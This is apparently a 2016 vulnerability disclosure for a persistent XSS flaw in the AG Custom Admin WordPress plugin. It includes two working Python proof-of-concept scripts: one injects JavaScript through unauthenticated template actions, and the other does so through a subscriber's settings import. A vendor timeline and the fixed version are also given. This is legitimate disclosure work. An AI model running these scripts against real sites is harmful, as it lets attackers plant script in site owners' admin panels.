AG Custom Admin [Persistent XSS]
AG Custom Admin plugin for WordPress suffers from a Persistent XSS vulnerability
Description
AG Custom Admin plugin for WordPress suffers from a Persistent XSS vulnerability. Plugin lucks security checks for a series of actions relative to exporting, importing and saving plugin options. A malicious user can exploit these actions to inject arbitrary JS code, CSS styling or images to WordPress admin panel and login screen.
In this report for demonstration purposes we exploit the actions _agca_get_templates
, _agca_save_template
and _agca_import_settings
, but there are some more that can be used by a real attacker.
PoC
Use Template Options
This attack does not require a valid account to perform. The caveat is that it will change the selected template for the admin panel and login screen, which most likely alert the website owner.
#!/usr/bin/python3
################################################################################
# AG Custom Admin Persistent XSS Exploit
#
# Author: Pan Vag <[email protected]>
#
################################################################################
import requests
baseUrl = 'http://wp1.dev'
adminJs = "alert('admin js')"
loginJs = "alert('login js')"
tOptions = " |||" + adminJs + "||| |||" + loginJs + "||| ||| |||"
# We first try to get all template names that are installed in site
r = requests.post(baseUrl, data={'_agca_get_templates': 1})
templates = r.json()
if len(templates):
# If we have installed templates use templates names to inject the code
for tName in templates:
r = requests.post(baseUrl, data={
'_agca_save_template': 1,
'templates_data': tOptions,
'templates_name': tName
})
else:
# In case we found no installed templates then
# we create a new template to inject the code.
r = requests.post(baseUrl, data={
'_agca_save_template': 1,
'templates_data': tOptions,
'templates_name': 'default'
})
print('Exploitation complete')
exit(0)
Use Plugin Options
In this PoC we use a registered user (privileges are not relevant) to update plugin option agca_custom_js
and inject our JS code in this field. Then in every admin page load this code is executed.
#!/usr/bin/python3
################################################################################
# AG Custom Admin Persistent XSS Exploit
#
# Author: Pan Vag <[email protected]>
#
################################################################################
import requests
import tempfile
baseUrl = 'http://example.com'
loginUrl = baseUrl + '/wp-login.php'
adminUrl = baseUrl + '/wp-admin/index.php'
# Needs a valid account to exploit this vulnerability
# Account privileges are not relevant
loginPostData = {
'log': 'subscriber',
'pwd': 'password',
'rememberme': 'forever',
'wp-submit': 'Log+In'
}
s = requests.Session()
r = s.post(loginUrl, loginPostData)
if r.status_code != 200:
print('Login error')
exit(1)
data = {
'_agca_import_settings': 'true'
}
file = tempfile.NamedTemporaryFile(prefix="AGCA_Settings_", mode='a+t', suffix='.jpeg')
file.write("agca_custom_js:alert('XSS')") # Use only single quotes here
file.seek(0)
files = {'settings_import_file': file}
r = s.post(adminUrl, data=data, files=files)
if r.status_code == 200:
print('Success')
file.close()
exit(0)
Update 2016-03-14
Vendor released version v1.5.4.2 but this issue is not resolved. The difference is that to exploit this vulnerability the attacker must perform an CSRF attack as described here.
Solution
Since the release of v1.5.4.3 this issue is resolved
- 8 March 2016
- Pan Vag
- wordpressadminpanel.com
- wordpress.org
- 1.5.2
- WordPress 4.4.2
- DWF-2016-87004
- 2016-03-12:
Vendor notified through wordpress.org support forums - 2016-03-12:
Vendor notified through contact form in his website - 2016-03-12:
Vendor responded and asked for clarification - 2016-03-13:
Send vulnerability details to vendor - 2016-03-14:
Vendor released version 1.5.4.2 - 2016-03-15:
Vendor released v1.5.4.3 which resolves this issue